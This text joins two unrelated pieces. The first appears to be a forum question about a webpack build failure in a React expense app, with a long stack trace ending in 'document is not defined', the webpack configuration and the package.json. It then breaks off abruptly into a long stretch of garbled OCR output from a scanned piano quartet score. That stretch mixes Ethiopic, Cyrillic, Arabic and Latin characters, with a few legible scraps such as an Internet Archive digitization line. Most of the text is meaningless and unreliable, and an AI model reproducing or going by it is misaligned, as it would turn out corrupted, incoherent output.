at AsyncSeriesHook.eval [as callAsync] (eval at create (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:6:1) at AsyncSeriesHook.lazyCompileHook (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\Hook.js:154:20)
at D:\ReactJs-Projects\Expensify-app\node_modules\webpack\lib\Compilation.js:1423:35
at AsyncSeriesHook.eval [as callAsync] (eval at create (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:6:1) at AsyncSeriesHook.lazyCompileHook (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\Hook.js:154:20)
at D:\ReactJs-Projects\Expensify-app\node_modules\webpack\lib\Compilation.js:1414:32
at eval (eval at create (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:11:1)
at D:\ReactJs-Projects\Expensify-app\node_modules\terser-webpack-plugin\dist\index.js:321:9
at TaskRunner.run (D:\ReactJs-Projects\Expensify-app\node_modules\terser-webpack-plugin\dist\TaskRunner.js:48:7)
at TerserPlugin.optimizeFn (D:\ReactJs-Projects\Expensify-app\node_modules\terser-webpack-plugin\dist\index.js:227:18)
at AsyncSeriesHook.eval [as callAsync] (eval at create (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:7:1) at AsyncSeriesHook.lazyCompileHook (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\Hook.js:154:20)
at D:\ReactJs-Projects\Expensify-app\node_modules\webpack\lib\Compilation.js:1409:36
at AsyncSeriesHook.eval [as callAsync] (eval at create (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:6:1) at AsyncSeriesHook.lazyCompileHook (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\Hook.js:154:20)
at D:\ReactJs-Projects\Expensify-app\node_modules\webpack\lib\Compilation.js:1405:32
at AsyncSeriesHook.eval [as callAsync] (eval at create (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:6:1) at AsyncSeriesHook.lazyCompileHook (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\Hook.js:154:20)
at Compilation.seal (D:\ReactJs-Projects\Expensify-app\node_modules\webpack\lib\Compilation.js:1342:27)
at D:\ReactJs-Projects\Expensify-app\node_modules\webpack\lib\Compiler.js:675:18
@ ./src/components/ExpenseForm.js 27:0-45
@ ./src/components/AddExpensePage.js
@ ./src/routers/AppRouter.js
@ ./src/app.js
ERROR in ./src/styles/styles.scss
Module build failed (from ./node_modules/mini-css-extract-plugin/dist/loader.js):
ReferenceError: document is not defined
at insertStyleElement (D:\ReactJs-Projects\Expensify-app\node_modules\style-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\css-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\sass-loader\lib\loader.js!D:\ReactJs-Projects\Expensify-app\src\styles\styles.scss:309:15)
at addStyle (D:\ReactJs-Projects\Expensify-app\node_modules\style-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\css-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\sass-loader\lib\loader.js!D:\ReactJs-Projects\Expensify-app\src\styles\styles.scss:424:13)
at modulesToDom (D:\ReactJs-Projects\Expensify-app\node_modules\style-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\css-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\sass-loader\lib\loader.js!D:\ReactJs-Projects\Expensify-app\src\styles\styles.scss:297:18)
at module.exports.module.exports (D:\ReactJs-Projects\Expensify-app\node_modules\style-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\css-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\sass-loader\lib\loader.js!D:\ReactJs-Projects\Expensify-app\src\styles\styles.scss:455:25)
at Object.<anonymous> (D:\ReactJs-Projects\Expensify-app\node_modules\style-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\css-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\sass-loader\lib\loader.js!D:\ReactJs-Projects\Expensify-app\src\styles\styles.scss:206:14)
at __webpack_require__ (D:\ReactJs-Projects\Expensify-app\node_modules\style-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\css-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\sass-loader\lib\loader.js!D:\ReactJs-Projects\Expensify-app\src\styles\styles.scss:21:30)
at D:\ReactJs-Projects\Expensify-app\node_modules\style-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\css-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\sass-loader\lib\loader.js!D:\ReactJs-Projects\Expensify-app\src\styles\styles.scss:85:18
at Object.<anonymous> (D:\ReactJs-Projects\Expensify-app\node_modules\style-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\css-loader\dist\cjs.js!D:\ReactJs-Projects\Expensify-app\node_modules\sass-loader\lib\loader.js!D:\ReactJs-Projects\Expensify-app\src\styles\styles.scss:88:10)
at Module._compile (D:\ReactJs-Projects\Expensify-app\node_modules\v8-compile-cache\v8-compile-cache.js:194:30)
at evalModuleCode (D:\ReactJs-Projects\Expensify-app\node_modules\mini-css-extract-plugin\dist\loader.js:61:10)
at D:\ReactJs-Projects\Expensify-app\node_modules\mini-css-extract-plugin\dist\loader.js:166:21
at D:\ReactJs-Projects\Expensify-app\node_modules\webpack\lib\Compiler.js:343:11
at D:\ReactJs-Projects\Expensify-app\node_modules\webpack\lib\Compiler.js:681:15
at AsyncSeriesHook.eval [as callAsync] (eval at create (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:15:1)
at AsyncSeriesHook.lazyCompileHook (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\Hook.js:154:20)
at D:\ReactJs-Projects\Expensify-app\node_modules\webpack\lib\Compiler.js:678:31
at AsyncSeriesHook.eval [as callAsync] (eval at create (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:6:1) at AsyncSeriesHook.lazyCompileHook (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\Hook.js:154:20)
at D:\ReactJs-Projects\Expensify-app\node_modules\webpack\lib\Compilation.js:1423:35
at AsyncSeriesHook.eval [as callAsync] (eval at create (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:6:1) at AsyncSeriesHook.lazyCompileHook (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\Hook.js:154:20)
at D:\ReactJs-Projects\Expensify-app\node_modules\webpack\lib\Compilation.js:1414:32
at eval (eval at create (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:11:1)
at D:\ReactJs-Projects\Expensify-app\node_modules\terser-webpack-plugin\dist\index.js:321:9
at TaskRunner.run (D:\ReactJs-Projects\Expensify-app\node_modules\terser-webpack-plugin\dist\TaskRunner.js:48:7)
at TerserPlugin.optimizeFn (D:\ReactJs-Projects\Expensify-app\node_modules\terser-webpack-plugin\dist\index.js:227:18)
at AsyncSeriesHook.eval [as callAsync] (eval at create (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:7:1) at AsyncSeriesHook.lazyCompileHook (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\Hook.js:154:20)
at D:\ReactJs-Projects\Expensify-app\node_modules\webpack\lib\Compilation.js:1409:36
at AsyncSeriesHook.eval [as callAsync] (eval at create (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:6:1) at AsyncSeriesHook.lazyCompileHook (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\Hook.js:154:20)
at D:\ReactJs-Projects\Expensify-app\node_modules\webpack\lib\Compilation.js:1405:32
at AsyncSeriesHook.eval [as callAsync] (eval at create (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:6:1) at AsyncSeriesHook.lazyCompileHook (D:\ReactJs-Projects\Expensify-app\node_modules\tapable\lib\Hook.js:154:20)
at Compilation.seal (D:\ReactJs-Projects\Expensify-app\node_modules\webpack\lib\Compilation.js:1342:27)
at D:\ReactJs-Projects\Expensify-app\node_modules\webpack\lib\Compiler.js:675:18
@ ./src/app.js 11:0-30
</code></pre>
<p>webpack.config.js :</p>
<pre><code>const path = require("path");
//const ExtractTextPlugin = require("extract-text-webpack-plugin");
const MiniCssExtractPlugin = require("mini-css-extract-plugin");
module.exports = env => {
const isProduction = env === "production";
//const CSSExtract = new ExtractTextPlugin("styles.css");
console.log("env", env);
return {
entry: "./src/app.js",
output: {
path: path.join(__dirname, "public"),
filename: "bundle.js",
},
module: {
rules: [
{
loader: "babel-loader",
test: /\.js$/,
exclude: /node_modules/,
},
{
test: /\.s?css$/,
use: [
{
loader: MiniCssExtractPlugin.loader,
options: {
publicPath: path.join(__dirname, "public"),
},
},
"style-loader",
"css-loader",
"sass-loader",
],
},
],
},
plugins: [
new MiniCssExtractPlugin({
filename: "styles.css",
}),
],
// plugins: [CSSExtract],
devtool: isProduction ? "source-map" : "cheap-module-eval-source-map",
devServer: {
contentBase: path.join(__dirname, "public"),
historyApiFallback: true,
},
};
};
</code></pre>
<p>package.json :</p>
<pre><code>{
"name": "expensify-app",
"version": "1.0.0",
"main": "index.js",
"author": "Viral Thaker",
"license": "MIT",
"scripts": {
"serve": "live-server public/",
"build:dev": "webpack",
"build:prod": "webpack -p --env production",
"dev-server": "webpack-dev-server",
"start": "npm run dev-server",
"test": "jest"
},
"dependencies": {
"babel-cli": "^6.26.0",
"babel-core": "^6.26.3",
"babel-loader": "^8.1.0",
"babel-plugin-transform-class-properties": "^6.24.1",
"babel-plugin-transform-object-rest-spread": "^6.26.0",
"css-loader": "^4.0.0",
"jest": "^26.4.1",
"live-server": "^1.2.1",
"moment": "^2.27.0",
"node-sass": "^4.14.1",
"normalize.css": "^8.0.1",
"react": "^16.13.1",
"react-addons-shallow-compare": "^15.6.2",
"react-dates": "^21.8.0",
"react-dom": "^16.13.1",
"react-modal": "^3.11.2",
"react-redux": "^7.2.1",
"react-router-dom": "^5.2.0",
"redux": "^4.0.5",
"sass-loader": "^6.0.6",
"style-loader": "^1.2.1",
"uuid": "^8.3.0",
"validator": "^13.1.1"
},
"devDependencies": {
"@babel/core": "^7.10.5",
"@babel/preset-env": "^7.10.4",
"@babel/preset-react": "^7.10.4",
"extract-text-webpack-plugin": "^4.0.0-beta.0",
"mini-css-extract-plugin": "^0.10.0",
"webpack": "^4.44.1",
"webpack-cli": "^3.3.12",
"webpack-dev-server": "^3.11.0"
}
}
</code></pre> |
ATA እ/እ፣ኒ/እ ғаға M
\ ኣኣኣአኣኣኣኣላኣኣእኣኣኒኣኣኣአኣ
КОККО ККУУ АМА
1 AAA VA AAA Vd dd цици! እእ)
MALA A ኣኒ AA ХАТҚА ААА АЛ АЛА) WA
\ ኣኣኣላኣላኣእኣኣኒአኒኣእኣአኣኣኣኒኒኒ ኣኣ'ኒ'ኣ፡እ A ki ХХ
۷۷۷۷٦
ХААЛААХААААААААААЛАААХА ክእእአነ
MMA MMA VA MA - ,ب0 | n ኒኣ
ኣኣኣኣኣኣኣኣኣኣኒኒኒኒኒኒ N ኣ ( ኣ'እ ኒ'ኣ እነ ^
МАМА
ኒኒእኒአኣኒእኒኣኒኣኒኣኣኒኒ
090
ҮҮ! [NN VM
ХААЛАА ۷۵ 0
\ \ እነ Ху) 0
4. VW WWA WA V ۹ ( N 0 ۰۰,۱۹۲ ኒኒ
እነ እነ) АА учи! እ WAAAY ኣ አ X N \ N A N) NN
WWA \ 0 0 МҰҚА \ \ NA
( ነነ ኣ፣ኒ፣ኒ፣ኣ፣ኢእ'ኒ፣ኢ እ
ХАА 0 AAAA ( ኣኣ
۱ КР А
ци!
\ N ۷ (( ٦ \ '
NW
ARANA
۸
ا۷۷ بی
MAMMA MA ХА
Ч ۲یہ۹ +.
۱۷۱۷۷٦
ኣእኣኒነ አ VALLA
ኒኒኒኒ፤ኒኒኒነ
AAA AAAA
MAMMA
ኣኒ OM
AAA
۸
МА
ХА
ኣኒ
A AM)
+۱ 08
ХААХААЛАЛАЛАЛЛАЛАААЛА 4
WWA AN MAMMA КАКА КАКА
۷0۵۸
0۰۰۰۷۷١۷۷۷۷۷۷۷۷۷
LALALA
еее
RAR AR A ኒ ኒ ከ ኒነ እ
ХААХ VY À ነ
ኣኣኣኒአአኒኒኣ
۰۰۷۹۷۷۹۷۰۷
AA AA AA
A
DE
Frédéric LAUTH
a CARCASSONNE
Ingénieur des Arts et Manufactures,
ШИН
52225
Aut
12
У ЭН nola, ale 26 >.
ዘዘ[ዘዘ[ዘዘዘዘዘዘዘ!ዘዘዘዘዘ[ዘዘ[ዘዘዘ[ዘ[[ዘ[ዘ[[
АДАДАДАЛД, AX
III IIS
۸۸/0 НАДАМ
AAA.
АЈ
/
ААА,
ру у У M
MÄ)
ИР ЛЛАЛЛААДЛЛАЛАЛДХ: TARAA ANARAN 0 7 ууу 2
ЛЭЭ ЭХО) НА | ҚҰРТ
; III ДАДДАДАЛАА,
ERIN INN NASA АД,
fey 2 ЛАЛА АА БҮРІ 7) МАДАЛА:
7,717,777 А
7
j Ж y
4(60006000606
۳
/
(ДА
| | 00 Л
Tar JA d Y / 0 ገፈ ¿ A тА ۸ N 7 M "ДАЙ
y 07 ለ ji 4 /ሃ 1 ў 0 | 44 UM (4 ^ ا
Ai M 21111 770 )
1
አ/ኔ
fi
AN 1 0 KOOGI ЛА
۷0 AW NA JAY ህአ/ኣሃኣ/
ЧАКА ГҮ, Am.
1%) ЛЛАЛАЛАЛ
quA Ч
A VA VAWETA
A TANAVA VAT,
١
ñ
УАЛЛЛЛЛДАЛАЛАЛАЛЛЛЛЛЛ
MAMM O A A жа A A AJ
0) 3066 тұқуу
V ММА, 0 y
YNA
0) SO
ON ғұ
ХУУ AAA
ККА
2 .0:046-6. 7...
ХАА
ኪኒ
` ስ
? \
ANNA V \ 0 0 УХАА
АА
2
ዘሎ
700 07۳ کٰ٣۱۷
2
UY
ДА 4
አኦ АА 0
۷
ኢአ) у
ул
VAN
Сб /,7.7,/,/7.7.7777.7
УУУУУЛ
d y ۷ ју ZO ИНК
Ши й (4 NEL
A
(NN?
۷
EN СОО
Ул AANA ААА
NS
NN KO) МКУ
ІШІ 00
እኒ
NAN Ч N ነ ¡NA A)
0 \ M ۸۷ء
M M \
AN ki ኣ
M Ñ INNEN M 0 Ч
KKK VK
ኣኣ VA አ X KA
VV
ХОС
d
Эл
р
у у У у 7 у "й
ДААЛДА, ДАДА ЛАА;
АДАДАЛ, КА ААД А 79777 yy
ዶለለለለፈደዶ/ d
ЖАЛАЛ) ДА КА 7 л y 7 7, ገለ 7 ht
AVIV IGT ነቀ У77
"у 7 Á АА) 2 6 Үү yy А 7) 7 У 7 7۸ ҚА 7 7, y hn
779
ፊሪ 7 "4 7
7 y iv у |
ХААА,
/ ЖАЛААА
у Y"
y 9
АДАД,
۷۸ ҮҮ?
П
d MM CIN ?
A N fi i ۸ ШИ
(U
И үү
F А,
۷ ( ||
ћ ЛА
Д, Ий
POR
“ሠ 72 z^ Фе «yt 22 ж ий. 722 ~
Ë : DI. DIE
እ. ይ. 2. ИУ
CE Ж
Hure то.
" 1 ሠረ
"e ` Богд E ka i m ا E Ba
a PARIS. ches ۸17۷67746 ሪያ Ғайсағ de Musique, Boulevard Poiswonnicre, |” au ¿9 -
dam |
AS 206301. I.
` Digitized by the Internet Archive `
. In 2015
httos://archive'org/details/quatuorpourpiano00reis
ГУ
Modante (6-1
(፣. 11. ISMET.
OLATUOR.
ceuv: 70.
== Баг SE ES SS e... à ሠ f'g PU r
A E eg | መ መመ አጪ en H
۱ Legato.
ete Ж. се 7
} DE == Sm -ው-ውይቃወ:ር meege epe 2 5
= 7—1 ፣ ተ 2 y መ ни Единия — — —— — usa masa
Violino. ——
ЕК .چو I f EN
S y Ф- ° 2 ҒА
P 7 | _ 467 0
аа Да 262% к жеті сте “ምክ” т
ташы
т 2
; ap ELI per RI кит NU ЦЭВ ES = ESS с = ЕСІ
E 29 ЕНН ty sae) "pa
piu mosso.
ee ПЕТ eer) al
ጨ፡ሔ፡፡-ፅ“ቭጭጩጩ | H 7 а
— ur —— 2 E جات AI G; ہے
Free WU 222 хиих... AA 9
r - ( UU TZ `
( » (je Я š ۱ )
loco.
ere Ces === = ==.
р -:---- ЕЕЕ ЕС а E xe መመመ
a5. کک чус т=ш= Pj — >=
NY
e гай 5 2 e
2 - = سے e ¿gel መ 252 ЗЕЕ £ Z ር
от ЕТ, "МЫР ወመ: ም መ መመ سے = I
[to а 5201200 80000 Ë سے 222 == = ==
21% ” |
ред Ф
A е —— Gei - te | Г
! و EE ጋው ው. “ው “ዘፈ መ سج E ም ይው ይም سس سے 2 :
ሀሪ፡ oes = 2921-2122 کے (b ze Fe ተጣ DT = š ገገ
—— : = ፐ፦ Рб. vla BOTES A SS E 9 чи
на ġ 1
y
S SM P жы,
Mlegro (9:152)
т, MONOS
LAA BI ERTL
BIR EAE ca ae Bw OY ЛЭ! رت
O ср
Crescendo
‘Violino. 277 d ا $
| Ж 2 Е < o ——AR 0... « ій
ЊЕ م 22 —
a کح و g A таа REET | 一
ac MAD: AEE ےجو جو EE 2259: HA ig 9- po m
иж др Ре 5 D | ww." | а өл Cu» " ва w- | 2 PTA ES,
ጠል tt
ኒ ç ла መ”
AE > er سوہ eee 77 —— 8986: : | |
ул EE TI AS, RRR 1 RET
. ——- HG
2د SE 一 上 、 =
s F SE Уу е
—1Z 65 ГОР amas | : ий. ЭЭ سس = Г ий
EE ا ےے_۔ ЕЕ
ha #8”... p GEW)
ዘም | ሬመ
T — ls DEE AAA C Se EA DER TE,
‘ 20 | ал, (700 2
| а 101. уи
p" SET) 5 š е Kan ees Н ,
uen 1.ጅ ከ B с, : | | Sf m
2 کا ھت ; 0 ? 1
2 Г “шшш ус | | FI ФО a YT Gee ДИ ШП CAA ATTN, sc BE z
= == لت паша = 28 1 9 || ЕР к линии | Гео: 5
17? i ве 2-1
N ا m — аана ےھر ہج — — ا | سےا AR а і
Р” ша n
Г--1-2 | T gi -- A е ጋም | = ме — 2
на БУ” ЕТ ur AAA Ke A A БОГ) ے 7 A еті
Fear E oe A ا
FL-—MF LAA
pecu A
л f E
Con espress: =
{ š d L
= s та pr — لے تب ےت = s 4—15 መ зго = 888 38
7) с ҒЫ» РАБ ጋ ЛЕМ 7| БЖ 0, Sp — [ 7/8 -4.Ф 4 ———. j| е
r — © ЕЕ! Гул A. m WO шшш mr а
K sa a A ey MEN) Таро ово |
Es n Y 7 m -ውወ-: та е ሀመ
- ‘ 5 `
4 . SL d r' .
020. 7 ረ ° cal. =. کو ےر
= T: Z iR „ИНН ВАННЯ EE GE ”و O AAN IT EA ود
[LA نج — Ei Gime گا > Auer 35:1 ра ме _ سے © а pap — 6 ا
ORRY R
Violon.
егі Re کی سس
La APA A EA TR A
Таз " DU (472 A Y 77 Vi —— Ge Tey O NGHE
оф መመ | [ЕУ и ወ፪ Е Dee aay See اي جي ge 4 EE
s ре" | Hy та H P — i
MET YI Y а А ГІ UL ГР AT Jamar 4 PP T | m | و ара 7 B Р
BET 727 ^ sn у? Р ጠመ La ДО Б БО Б ጩ 1: урни =” n dun
21 一 一 — = = —— | N Ч иш
Kai ہے Е
ee ہپ ፎ e መ Eu тээ DEE መመ መሮር” ሙም መበለ |
ЗЕН = == == | ር = Е CL A ANA A AAA O AA
meri ADA — š Ip A REED ge Ce ee
መ " =
› '
3 КА МАРА A AAA 0 0 NENEA АЛ 0 000444241444244444240444714440444448: V YP V V V РФ ФР VIEN PPS pe
p s d 7 $
ч j АП, | р бо h $^.
E) xoa ወወ Г. LE 627 1
እ 127 1: EE See up, ፦፦:።። ውም a | 71-58 ያምን ምም! |; ..ቁ..-:- ተ ጉጉ: If ቻፖ ከመ | Gomez
Pa сона... әб”. ው| ወወ и, zs FF um НЕТ جا )ا T ФЕ] 2/ (ШЕ шэн | || |
къв”, 4 : == Em 4 — 928 БЕН ———— im سے سس x E LE تج we Di,
2
WA e جو وو ہووت ہس سسجت ወው = G سس a E A FCR RES a === 3
ыў اف CA وو سا سس ET Л БЕШИНЕН جج |. RES A OE ЛВ EE ПУ, БЕ ДЕ DRM. , АЛ EDO beren ጋጌ. EU gi
EA [po A нн ни gg Te ae E f 20 LES መ ГІ ГО ТРИ ہے
asa Р інн Eë | Eben ~ И
—— | کے نی 25 2 И arto — = 14 AF JW SET xam ase ہے = اس far کے ےک کے کے г iad
AA ШРД “МИ Ен кен кс Бер | AAA ze
2 با 27م — ан ጠመ! ын ийн EE me шинж
R وہہ
Violino.
፦
я خر
ж”
„Pig,
oe = መመመ መመን
I: سر وت
Kd سے سے ሙን з سے ксы کت ፎ= и ДБ O EEE fi (27.8 ИДР SN ГУ 7" JET ee
— —
кзы со ТИЛЕР T | ሬክ 一 一 名
loco.
2 РР РЕТРО AT
2929 са ОҢ
— ا — ia = -—— |н —
ЈА 2 Ж ke ҮГЭЭС E loco. -
Же Y — Ee СЯР oe O - سس | “መመ E сне
$ — МШШ [| Te Жеко | کی کا A ПЕ i
АЗ? ۵ LP T — —
E
4-8 mer ara m trcs У el - Ше T ка! |. ч
SC au? таның 122 Tall Pre, | 9 9 _ ак 71 x қ |
a 一 一 一 = — 1 ЗИ] аг Bin! ERE ТР He Ж. 1227 ም ጣው ፡ ED”
NL m መጽያ в = መጨ A ው “ው ውታ“ — ጠበበ - سخ ~ IRENE [j ТР ЖЕ
p^ D eX = 4.51 تھا —. ;
| 70 tieqa
с “87” .)፡. | ሀ2ሙመ.” ~~ Eegen ET АН
ШЕ. o — lq
A ЕЛЕР”
d N 0 i dm 89 enw
А | 一 : | | c. : e RES :
Lk 1. 57:22: 252 GREET „ШИН AA (፳2፡ DE, EE, _——osKI:SIZS:—-
нь 9 Ve) GĦAL 72
ЦЭ)” р AAA A) LS VEA Ten ےو = =
5 See
PIDE "У e e یر یب Pa дей v LIV OA
ጠመ ሉፕ? ሇሞሇታምን ШЕ A | تھا E
Ee ПС ОО СВ
— ГГ ማረ AL ЮМ й = Pë TT
\!
"FL
PU
Eel AU EA AAA AA А Б ای
[а
መሙ
E rd
= Ро
ሙም
За |
ooo р
Viol. соп espress.
Ó
hg — ЧА
i: F ТІ
Р ET |__ g'' IT» |
es
—
.
|
1
ЧІ
፪]
||
е |
|
|
|
и — ELA Г.
p
SEES O BE سس
L —_
ከከከ ከክ | |
一 一 一 一 -一 FE
—
-1-523
I
ES 9 "рі
. Ф-
St = SES É e.
ГРІ тя ай) Ӯ | E xe НЫ ЖЕН ЛЕШЕ АШЫ ЛЕ
om с hol 6፡1... alos TERN ORT — ا у | AR esa]
"መሎ —— መ лені ስውን ዘቡ —— Een — سست ше» EC
— —
| = am re ги РР ቋ'- 57
ARS eg хяна EA
= БИ _ سب
i ат Se Дай 9». A A ғ” Pe Iz:5'""2" зі
/ ¡E لل ድፎ FP РР |24 መኾ £ — кт 7 ELE Epa EA g.—L7 EI FLEE, ке اج ат
wanu === 20.2625 —— اا IT ንዋም ም
-4---14---1--Т- م
ЕЛИ RA EE |...
АШ ДЕШ ДЕШ р EÊ በር
ጋ. ፦፦ ኤኤ
— ከ
A E |
—m—— | ЕП
Vino - መመመ: ም”. ПИ тул,
--------- SSS E St M ee A EE E a
E DE xp ACA وہس ھجسسسجے جو Lo mp.
کک EM aes эээ ——— ei е
Б - Ee Мы а E EE
A
бай
- 2b) МЕНШШ ПНЕ” See oe НЫ 5 سے r= ہے اکھت a. шин
E DAA X -фрЭ тарж Eu EIC rer Кра Sr Se Trees 2
Ilan Ze Fr اتی дона ven козу дав пе on AO ee ST OS E wee EE EE ВЕ) ae ee С БУ ЕР. E EE 1277
118 а= "GE ПЕЕВА سس AA A A a A (227 SSE BEL) EE SSS EE سا СОУ
1 (2 ° یلا
Cello.
E Г — _ = ее 52.59 GSB نت کوے سے uzza حست са A се کے ска ہہ ЯН سے „газе: دہ an —— m am са Ei
Ee رنے ረር URL
E gh 00. “2:2.
А i A See es
10
SS) ы : = г a m n EE aa ишини REE Й کا Î Î E “ተ З بی А
لل ا = еы === Sans ج Баа EE
| Ca 220 سے سد meet ; (2255-1553
11211, AA —— Бі ПЫ НИ ШИВ БЕ ИИ) جا دح O AS 2 EE A AA A ee та E? Duo | ота) Ra cams sa
Fim ph, 6 | | le | [| Te | ЈУ ወ Є 14 34-4 [ow [| |i. € wu БЕ ВЕ E E EK | [ሃው ug mm
“ኀ pu y By sss) СР AS Lay ЕШ [ШЕЙ ey SE ARE жп г he gg / [....ብ-..: 1. ፡ መ. 0: =መፎክ гн
SS AA SEE AV BIO өр j 96: | 6 Фр IL ےو се — Сб E ‹ሀ655:286ቅቐ2፡፡5፡> Te
: | “Violino کک s . l G |
AS RES | 3 ` — f - — == e
БЕДИ IE IEE PE A 7 ашу, EI ASS Ж EF EFE کو E EL
E kar Jo ee A A ርመ) ШЕ — Y са ھا EE ود 1 5 :
[72 eas (ЖЕЛ EE 11 ፎ=ኗ= НИ сг БН ЕТЕ A I де. SS 7
3187. 4 TAO EJ تی سے L ID EEI ШЕГЕЛЕУ СІ ГРА ОН С С ЕО СЛЕДИ (ር. =
کت e Y та.
52 `
DIM. AN | 5254-2252 ጅ - کے ara В ۱ mira
Lëke nn | ышы ФТТ А зов ге | | Фе | | | [~ е”! Еле
Шаһ — — > з “ሥሥ” Temi RES ey ERE A ey ISI БИЙ Б РН СР EET БИГЕ EIER] (ЕЙ GEET :
Г и ит 4 5 518257 0ھ
Au um — У —49 — — A
መልመጃ d аз 1 а
— tor
|) Бш] = є
ور ید гүү E IT T 7 T ወ'ው و A p ID MEN ГР] 4 ВВ ЖЕ." Е
Im 3 | ШИН БЕН БЕН БЕН Le € # | ዘ | zen 791075] p. с^ ARA Pa ZSEE
UP Bie) Zr መሮ ШТ C у 4 21 дню и и и EE a E 7! (сс ШП ER мъча ES L Ta
ит E E а а WERTE
کے
|
j^ atit tt и
^ P Lettie fe е ምው ات -
ےھ i) 2: gef Eege e ےہر" CETL | سے "——— инээ (መ
е
: | BR
^ 1 = x | 4 8 Pa — —— me —
አከ = SSS ت © © 5|
| me” ! БЕР” 3
Ws 1 | E на! T — ET et سد سے RE AAA 20
e EE) TIT CL A RE
E -— ራር
መሙ
в 2)
Ey t AE A vc 5 AN М Жай
ГУ рад EER ЕН БУ СБ HET RT REN ےجو PES رے 9577) E —————— |
A A AQ um Y, كق واا p ም HEYA መ. ወ
или... БИШ... سو eh! Lach m —— مد سس
е
O Р. _@ * ee ШИША `
же ESE dA ЫРЫ | ГР ”! P 4 一 一 一 一 一 一 aas 一 Р” اعد بد Р ===
سد ET — РЕ жо таа 225 НГ Ar ана та на | =a = З
гэ» ee ም ብ Рр ыы s. | | | wo ЭЭ A ИН id 2: یھت БЕ | кесе ም | :
im m ҰР! “| | "таба, 2... Та 4 P |
| 2 دے | “ = e
5 оог” |
Р = ==; -
2 y EAS AREA اک PIN E]
2 Сам ог EE AS ጋጃ መብ AA]
[EJER ርመን
o
2 =
А a е Чар | 1- pte ER = -- | سے : መም
гари 246 P | | ው eg TS Ті Сол . |» ФЕ за |.
EE
8 Нэг
— ም ی ی “መ оси ш
2 A ELE EE EECH
@ 72 : 5
Cello:
| ው. ERE سے [s] ادس 5
— ےھجھو سک سے 227
Fries —— AI (SET Z ===
м ee Ee AZ --
a е መመ шй ae
O : x A
|... РР በ Р 1 е P — መ Р” p шй: 5252 سے wii ET TIT
2 MA = ي ا ја
m r | d. | "РО ее” ى Е d 21 150 |
Violino. —— — | TEE з РО |
2. (2
96፡89 R
Cl | — 1: ERA a нийн | aa a EE АА
e እመ ста سس EE, EE ER ہے ہے پک ВИИ. шит ээ. гж эг,
555.
| کک O аскет A БИШЕЙ Неа ийн a НЕЇ ЕР A ВО E AA AAA FE EEK! I EZ ER E EA ET N EI TT
NS een, o uuo Top ከሸ. | he |а БЕ ГРЕЧ A meo AO ቻ I- [LIA d$ |) ——— РФ!
| A и መመመ „ш ===
' A ^ 3 ki © 3
A Am ፳፪ = == en ሇመ = ካክ 1 жа EE y ни | |
A |
177 гт, ME [24 |4 1-1 — AS anes ae AA O መ:!:! Seo
TM k.
اھت AA BEH aa EA 7:8 55,258 E -
A а 2 Tg .ا — — ИР — ir Ce a Te ee RET Жо ес BL
| UJ 77 CRE EEE НВИТЕВИ I"
PE e
Esseg U
EI A “ыс ee) SD A НЕННЯ, IER چو
| 2 E PATON AT Teer, AAA БЕРЕНГЕ SED СРИ и ا چو дасе т
= E] SOS TT AN |
fo В та '
7۶ TIE EA A a ще
ав lar
DV ва سے سے m. GI 5
— መሠ е ма -
ው. : ውው ን — сто ај ا
eh 1 2 GP)
|
) Er
2 = a مسا — a à
| -ው።ጩ-ወ- b |
'- A 74 80 a” e y /" d j 00 A PES
зы! ғ” 5 e mn S
sm. ERY p EE 5 ва! d > Bin AA б The یی ee
ሺ A Se ae n J) وت EDESA WEIT га A AT | 一 一 一 二 一 -一 - E
e VITE Ч! 8 е
sum шив RS p ort Ф ee бтв? — -Ё--1
НЕР — ፪ 1251 I T gum اى SS? عو سے E سے کے 2720 መች A ር. ፡ ጋ
